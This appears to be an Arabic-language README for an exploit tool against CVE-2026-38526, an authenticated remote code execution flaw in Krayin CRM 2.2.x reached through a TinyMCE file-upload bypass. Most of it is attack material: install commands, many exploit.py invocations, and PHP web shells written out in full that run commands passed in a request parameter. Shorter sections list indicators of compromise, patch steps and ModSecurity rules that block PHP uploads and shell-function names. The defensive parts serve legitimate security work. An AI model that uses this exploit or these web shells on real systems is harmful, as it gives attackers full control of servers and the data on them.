
CVE-2026-38526 استغلال ثغرة في Krayin CRM الإصدار 2.2.x - تنفيذ أوامر عن بُعد (RCE) بعد المصادقة عبر تجاوز رفع ملفات TinyMCE. الميزات: شيل تفاعلي، حمولات متعددة الأنواع، إنشاء تلقائي للشيل، والتحقق. المؤلف: Sudeepa Wanigarathna. للاختبار المصرح به فقط.
⚠️ لأغراض اختبار الأمن المصرح به فقط - الاستخدام غير المصرح به غير قانوني وغير أخلاقي.
تثبت أداة الاستغلال هذه وجود ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) تم اكتشافها في Krayin CRM الإصدار 2.2.x. توجد الثغرة في وظيفة رفع الملفات في TinyMCE، والتي تسمح للمسؤولين الموثَّقين برفع وتنفيذ كود PHP عشوائي على الخادم.
| الخاصية | القيمة |
|---|
| معرف CVE | CVE-2026-38526 |
| البرنامج المتأثر | كراين CRM الإصدار 2.2.x |
| نوع الثغرة | تنفيذ التعليمات البرمجية عن بُعد (RCE) موثَّق |
| مطلوب مصادقة | نعم (صلاحيات مدير) |
| التأثير | اختراق كامل للنظام |
| درجة CVSS | 8.8 (عالية) |
تنشأ الثغرة من عدم كفاية التحقق من نوع الملف في نقطة رفع ملفات TinyMCE (/admin/tinymce/upload). يمكن للمسؤول الموثَّق:
bashPython 3.7+pip install httpx beautifulsoup4 coloramagit clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt
requirements.txt)httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> [OPTIONS]
| المعامل | الوصف |
|---|---|
-t, --target | عنوان URL الهدف (مثال: http://192.168.1.100) |
-u, --username | اسم مستخدم المدير أو البريد الإلكتروني |
-p, --password | كلمة مرور المدير |
# Basic exploitation with generated shell
python3 exploit.py -t http://target.com -u [email protected] -p password
# Upload custom PHP shell file
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php
# Generate advanced shell with interactive mode
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i
# Generate shell file without exploitation
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php
# Use with proxy for testing/debugging
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080
# JSON output for automation
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json
# Verbose mode with custom timeout
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60
# Custom User-Agent and headers
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"
شيل أساسي (basic)
تنفيذ أوامر بسيط باستخدام دالة system().
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
شيل متقدم (advanced)
شيل غني بالميزات مع:
شيل بسيط (minimal)
بصمة ضئيلة للتمويه.
<?php system($_GET["cmd"]); ?>
مدير الملفات (file_manager)
واجهة إدارة ملفات كاملة:
شيل مخصص (custom)
استخدم ملف شيل PHP الخاص بك مع المعامل -f.
مخرجات ملونة قابلة للقراءة البشرية مناسبة للاستخدام التفاعلي.
-o json)تنسيق قابل للقراءة الآلية للأتمتة والتكامل.
{
"success": true,
"shell_url": "http://target.com/shell.php",
"upload_url": "/storage/upload/shell.php",
"message": "Upload successful",
"timestamp": 1699123456.789,
"details": {
"status_code": 200,
"response": "..."
}
}
-q, --quiet)لا مخرجات باستثناء الأخطاء. مفيد للمعالجة الدفعية.
| الخيار | الوصف | الافتراضي |
|---|---|---|
--timeout | مهلة الطلب بالثواني | 30 |
--retry | عدد محاولات إعادة المحاولة | 3 |
--retry-delay | التأخير بين المحاولات بالثواني | 2 |
--user-agent | سلسلة User-Agent مخصصة | وكيل المستخدم الافتراضي للمتصفح |
--header | ترويسات HTTP مخصصة (مفتاح: قيمة) | لا شيء |
--verify-ssl | التحقق من شهادات SSL | خطأ |
--proxy | عنوان URL بروكسي HTTP/HTTPS | لا شيء |
-v, --verbose | تمكين مخرجات التصحيح | خطأ |
-q, --quiet | كتم جميع المخرجات | خطأ |
--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"
الملفات التي يجب مراقبتها:
public/storage/upload/image.php.jpg)السجلات التي يجب فحصها:
/admin/tinymce/uploadمؤشرات النظام:
إجراءات فورية:
# Update to patched version
composer update krayin/crm
# Disable admin access temporarily
# Remove unnecessary admin accounts
# Change all admin passwords
تعزيز أمن رفع الملفات:
// Validate file type by content, not just extension
// Implement content security policy
// Use Web Application Firewall (WAF)
// Enable file upload scanning
التحكم في الوصول:
# Restrict admin IPs in .htaccess
# Implement MFA for admin accounts
# Regular admin audit
# Session timeout policies
قواعد WAF (ModSecurity):
# Block suspicious file uploads
SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP file upload blocked'"
# Block web shells
SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Shell command blocked'"
تم اكتشاف هذه الثغرة من خلال بحث أمني مسؤول. اتبعت عملية الإفصاح هذه الخطوات:
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE.
USE OF THIS TOOL FOR ANY PURPOSE OTHER THAN AUTHORIZED SECURITY TESTING
IS ILLEGAL AND UNETHICAL. THE AUTHOR TAKES NO RESPONSIBILITY FOR
UNAUTHORIZED USE OR ANY DAMAGES CAUSED BY THIS TOOL.
المشكلة: فشل المصادقة
/admin/loginالمشكلة: فشل رفع الملف
المشكلة: لا ينفذ الشيل الأوامر
php.iniecho testالمشكلة: أخطاء شهادة SSL
--verify-ssl أو عطل التحقق# Enable verbose logging
python3 exploit.py -t http://target.com -u admin -p pass -v
# With proxy (Burp Suite, etc.)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080
المساهمات مرحب بها! يرجى التأكد من:
إذا وجدت هذه الأداة مفيدة لأبحاث الأمن، فيرجى التفكير في:
تم إنشاؤها بـ ❤️ لأبحاث الأمن
تذكر: القوة العظيمة تأتي بمسؤولية عظيمة. استخدم هذه المعرفة بحكمة!
# Quick reference
python3 exploit.py -t URL -u USER -p PASS [OPTIONS]
# Options:
# -f FILE Upload custom shell
# --shell-type TYPE Basic|Advanced|Minimal|File_Manager|Custom
# -i Interactive mode
# --proxy URL HTTP proxy
# -v Verbose output
# -o json JSON output
# --generate-only Create shell without exploiting
# --timeout SEC Request timeout
# --retry N Retry count
# --user-agent UA Custom User-Agent
# --header "K: V" Custom headers
# --verify-ssl Verify SSL certificates
# -q, --quiet Suppress output
🔒 تذكر: احصل دائمًا على إذن كتابي قبل اختبار أي نظام!